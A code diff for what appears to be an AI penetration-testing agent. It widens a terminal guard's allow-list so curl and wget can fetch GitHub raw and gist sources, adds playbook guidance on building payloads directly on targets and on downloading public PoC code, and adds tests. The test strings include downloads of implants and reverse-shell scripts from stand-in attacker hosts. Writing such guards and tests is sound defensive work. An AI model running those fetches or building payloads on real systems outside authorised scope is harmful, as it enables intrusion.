diff --git a/plugins/violin_guard/terminal_policy.py b/plugins/violin_guard/terminal_policy.py index 52166fa..e42c5e6 100644 --- a/plugins/violin_guard/terminal_policy.py +++ b/plugins/violin_guard/terminal_policy.py @@ -28,7 +28,7 @@ _SCRIPT_INTERPRETERS = _SHELL_WRAPPERS | { "ruby", } _PACKAGE_OR_SOURCE_COMMANDS = frozenset( - {"cargo", "git", "go", "npm", "pip", "pip3", "pnpm", "uv", "yarn"} + {"cargo", "curl", "fetch", "git", "go", "npm", "pip", "pip3", "pnpm", "uv", "wget", "yarn"} ) _LOCAL_COMMANDS = frozenset( { @@ -62,11 +62,15 @@ _KNOWN_SOURCE_HOSTS = frozenset( "bitbucket.org", "crates.io", "files.pythonhosted.org", + "gist.github.com", + "gist.githubusercontent.com", "github.com", "gitlab.com", "go.dev", + "objects.githubusercontent.com", "proxy.golang.org", "pypi.org", + "raw.githubusercontent.com", "registry.npmjs.org", } ) diff --git a/skills/pentest/playbooks/exploitation.md b/skills/pentest/playbooks/exploitation.md index 852f6d9..5fb4c66 100644 --- a/skills/pentest/playbooks/exploitation.md +++ b/skills/pentest/playbooks/exploitation.md @@ -209,6 +209,14 @@ a documented variant or ask the user for direction. --- +## Payload Building & Iteration Efficiency + +When compiling custom binary payloads (C/C++, Rust, Go) or iteratively tuning exploit scripts: +- **Build directly on the target via `violin_exec`** when build tools (`gcc`, `clang`, `make`, `python3`) are available on the target system. +- **Use `violin_exec_burst` for batch execution** to submit compound build, transfer, and execution sequences in a single turn (e.g., compile + run + capture evidence). This eliminates per-command round-trip overhead and repetitive local-to-remote SCP transfers during rapid iteration. + +--- + ## Chain Exploits **Do NOT automatically chain vulnerabilities.** Each step in a multi-step exploit requires a new approval via `clarify`. diff --git a/skills/pentest/playbooks/vuln-research.md b/skills/pentest/playbooks/vuln-research.md index 001efda..2751642 100644 --- a/skills/pentest/playbooks/vuln-research.md +++ b/skills/pentest/playbooks/vuln-research.md @@ -72,6 +72,10 @@ and GitHub references. If authenticated GitHub code search is necessary, use availability, and result in the research log; an unavailable source is a capability result, not evidence that no PoC exists. +> **Downloading & Inspecting Public PoC Code:** +> - **Always use raw file URLs** (`raw.githubusercontent.com/...` or `gist.githubusercontent.com/...`) with `curl` or `wget` in the host terminal when retrieving source files into your local workspace. +> - **Do not rely on web HTML scraping of GitHub blob pages**: HTML extractors can strip C/C++ angle-bracket include tags (e.g. `#include ` becoming `#include `), making manual transcription error-prone. Raw URLs deliver exact byte-for-byte source content. + ### 6. Suggest Tools for Vulnerability Class Use the **clarify** function to suggest appropriate tools for the vulnerability class. Tool discovery strategies: diff --git a/tests/guard/test_terminal_policy.py b/tests/guard/test_terminal_policy.py index 6bd296b..9bee9e1 100644 --- a/tests/guard/test_terminal_policy.py +++ b/tests/guard/test_terminal_policy.py @@ -114,10 +114,19 @@ def test_raw_terminal_blocks_arbitrary_target_tools_without_a_name_list( assert "violin_exec" in result["message"] -def test_local_source_retrieval_remains_available() -> None: +@pytest.mark.parametrize( + "raw_command", + [ + "git clone https://github.com/example/project.git", + "curl https://raw.githubusercontent.com/example/repo/main/poc.c", + "curl -sL https://gist.githubusercontent.com/example/123/raw/exploit.py", + "wget https://raw.githubusercontent.com/example/repo/main/Makefile", + ], +) +def test_local_source_retrieval_remains_available(raw_command: str) -> None: result = _pre_tool_call_hook( tool_name="terminal", - args={"command": "git clone https://github.com/example/project.git"}, + args={"command": raw_command}, ) assert result is None @@ -142,6 +151,23 @@ def test_compound_terminal_commands_cannot_hide_target_segments(raw_command: str assert "violin_exec" in result["message"] +@pytest.mark.parametrize( + "raw_command", + [ + "curl https://victim.example/admin", + "curl -o payload.bin http://10.10.10.10/shell", + "wget https://attacker.example/implant.elf", + "wget -q http://192.168.1.100:8000/rev.sh", + ], +) +def test_curl_wget_to_non_source_host_is_blocked(raw_command: str) -> None: + result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command}) + + assert result is not None + assert result["action"] == "block" + assert "violin_exec" in result["message"] + + @pytest.mark.parametrize( "raw_command", [